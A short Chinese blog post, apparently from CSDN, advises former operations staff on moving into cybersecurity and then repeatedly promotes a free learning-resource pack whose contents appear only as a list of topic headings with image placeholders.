网络安全这行,不是会几个工具就能搞定的。你得有体系,懂原理,能实战。尤其是从运维转过来的,别浪费你原来的经验——你比纯新人强多了。

但也要沉得住气,别学了两天Web安全就觉得自己是黑客了。内网、域渗透、代码审计、应急响应,要学的还多着呢。

如果你真的想转,按这个路子一步步走,没问题。如果你只是好奇,我劝你再想想——这行要持续学习,挺累的,但也是真有意思。

关于如何学习网络安全,笔者也给大家整理好了全套网络安全知识库,需要的可以扫码获取!

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

1、网络安全意识
在这里插入图片描述

2、Linux操作系统
在这里插入图片描述

3、WEB架构基础与HTTP协议
图片

4、Web渗透测试
在这里插入图片描述

5、渗透测试案例分享
图片

6、渗透测试实战技巧
图片

7、攻防对战实战
图片

8、CTF之MISC实战讲解
图片

关于如何学习网络安全,笔者也给大家整理好了全套网络安全知识库,需要的可以扫码获取!

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

Logo

有“AI”的1024 = 2048,欢迎大家加入2048 AI社区

更多推荐